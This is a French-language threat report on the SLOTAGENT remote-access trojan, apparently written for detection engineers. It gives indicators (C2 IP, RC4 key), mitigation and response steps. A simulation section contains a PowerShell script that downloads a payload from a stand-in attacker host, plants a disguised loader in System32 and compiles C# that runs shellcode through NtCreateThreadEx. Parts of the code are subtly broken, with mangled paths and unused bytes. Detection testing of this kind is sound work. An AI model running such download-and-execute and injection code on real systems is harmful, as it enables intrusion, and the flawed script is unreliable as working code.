Nouveau Malware SLOTAGENT Soutenant l’Exécution BOF Publié

Résumé

IIJ a identifié un RAT multifonction inconnu auparavant appelé SLOTAGENT à l’intérieur d’une archive ZIP téléchargée sur un dépôt public. Le malware supporte l’exécution de payloads Beacon Object File et inclut des capacités anti-forensiques telles que le timestomping pour entraver l’analyse. Il communique avec un endpoint TCP codé en dur via un protocole personnalisé qui échange des données au format JSON. Le chargeur s’appuie sur des données de configuration chiffrées en RC4 et sur le chargement réflexif de DLL pour lancer le payload final.

Enquête

L’analyse statique a montré que l’exécutable du chargeur, WindowsOobeAppHost.AOT.exe, résout les fonctions de l’API Windows via une routine de hashage personnalisée basée sur DJB2. Son fichier de configuration chiffré, db.config, est déchiffré avec RC4 en utilisant la clé easdbadshyfab puis exécuté comme du shellcode contenant une DLL codée en XOR. Une fois chargé, le RAT se connecte à 43.156.59.110:699 et traite des commandes basées sur JSON qui supportent des fonctions telles que la capture d’écran, le téléchargement et le téléversement de fichiers, et l’exécution de BOF.

Atténuation

Les défenseurs devraient détecter l’adresse IP de commande et contrôle codée en dur et rechercher les chaînes de chemins distinctives de type HTTP associées au trafic réseau du malware. Les règles YARA fournies dans le rapport devraient être déployées pour identifier tant le chargeur que les composants RAT. Les équipes de sécurité devraient également surveiller les comportements suspects de hashage d’API et le chargement réflexif de DLL sur les points de terminaison. L’exécution de fichiers EXE ou DLL non signés et non fiables devrait être restreinte autant que possible.

Réponse

Si des indicateurs liés à SLOTAGENT sont détectés, isolez immédiatement l’hôte affecté, terminez le processus malveillant et collectez la mémoire pour un examen forensique. L’adresse IP de commande et contrôle et les ports associés devraient être bloqués à la frontière du réseau. Les organisations devraient ensuite effectuer un balayage complet pour les noms de fichiers et hash connus et appliquer les signatures YARA publiées sur les systèmes de détection d’endpoints.

Exécution de simulation

Prérequis : Le contrôle préliminaire de télémétrie & de base a dû être validé.

• Récit de l’attaque & Commandes :

  L’adversaire a obtenu une copie du binaire du chargeur SLOTAGENT, l’a renommé en WindowsOobeAppHost.AOT.exe pour se fondre avec les processus OOBE légitimes, et l’a placé dans C:WindowsSystem32. La payload est stockée dans un blob chiffré sur le serveur de l’attaquant. En utilisant PowerShell, l’attaquant télécharge le blob chiffré, le déchiffre en mémoire, et invoque la routine réflexive du chargeur via NtCreateThreadEx. Le chargeur appelle en interne NtCreateFile pour lire des ressources supplémentaires à partir du blob chiffré puis utilise le chargement réflexif pour exécuter la DLL malveillante sans toucher au disque. Cette activité produit un événement Sysmon ProcessCreate avec le Image nom exact et un CallTrace contenant les trois chaînes définies dans la règle.

• Script de test régressif :

  # -------------------------------------------------
  # Simulation de chargement réflexif SLOTAGENT (Windows)
  # -------------------------------------------------
  # 1. Définir les chemins
  $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe"
  $payloadUrl = "https://malicious.example.com/payload.bin"
  $tempPayload = "$env:TEMPpayload.bin"
  
  # 2. S'assurer que le chargeur existe (copie simulée du vrai binaire)
  if (-not (Test-Path $loaderPath)) {
      Write-Host "Copie du chargeur simulé vers $loaderPath"
      Copy-Item -Path "C:ToolsFakeLoader.exe" -Destination $loaderPath
  }
  
  # 3. Télécharger le payload chiffré (simulé)
  Invoke-WebRequest -Uri $payloadUrl -OutFile $tempPayload
  
  # 4. Déchiffrer le payload en mémoire (remplaçant – vrai déchiffrement omis)
  $decryptedBytes = Get-Content $tempPayload -Encoding Byte
  
  # 5. Invoquer le chargement réflexif via des appels API natifs
  #    Cela utilise un petit helper C# compilé à la volée qui appelle NtCreateThreadEx
  $cSharp = @"
  using System;
  using System.Runtime.InteropServices;
  public class ReflectiveLoader {
      [DllImport("ntdll.dll", SetLastError=true)]
      public static extern IntPtr NtCreateThreadEx(
          out IntPtr threadHandle,
          uint desiredAccess,
          IntPtr objectAttributes,
          IntPtr processHandle,
          IntPtr startAddress,
          IntPtr parameter,
          bool createSuspended,
          uint stackZeroBits,
          uint sizeOfStackCommit,
          uint sizeOfStackReserve,
          IntPtr bytesBuffer);
      public static void Run(byte[] shellcode) {
          IntPtr hThread;
          NtCreateThreadEx(out hThread, 0x1FFFFF, IntPtr.Zero,
              Process.GetCurrentProcess().Handle,
              Marshal.UnsafeAddrOfPinnedArrayElement(shellcode, 0),
              IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
      }
  }
  "@
  
  Add-Type $cSharp -Language CSharp
  
  # 6. Nettoyer le fichier temporaire
  Remove-Item $tempPayload -Force

• Commandes de nettoyage :

  # Terminer tout processus de chargeur persistant
  Get-Process -Name "WindowsOobeAppHost.AOT" -ErrorAction SilentlyContinue | Stop-Process -Force
  
  # Supprimer le binaire du chargeur simulé
  $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe"
  if (Test-Path $loaderPath) {
      Remove-Item $loaderPath -Force
  }
  
  # Supprimer tout fichier temporaire résiduel
  Remove-Item "$env:TEMPpayload.bin" -ErrorAction SilentlyContinue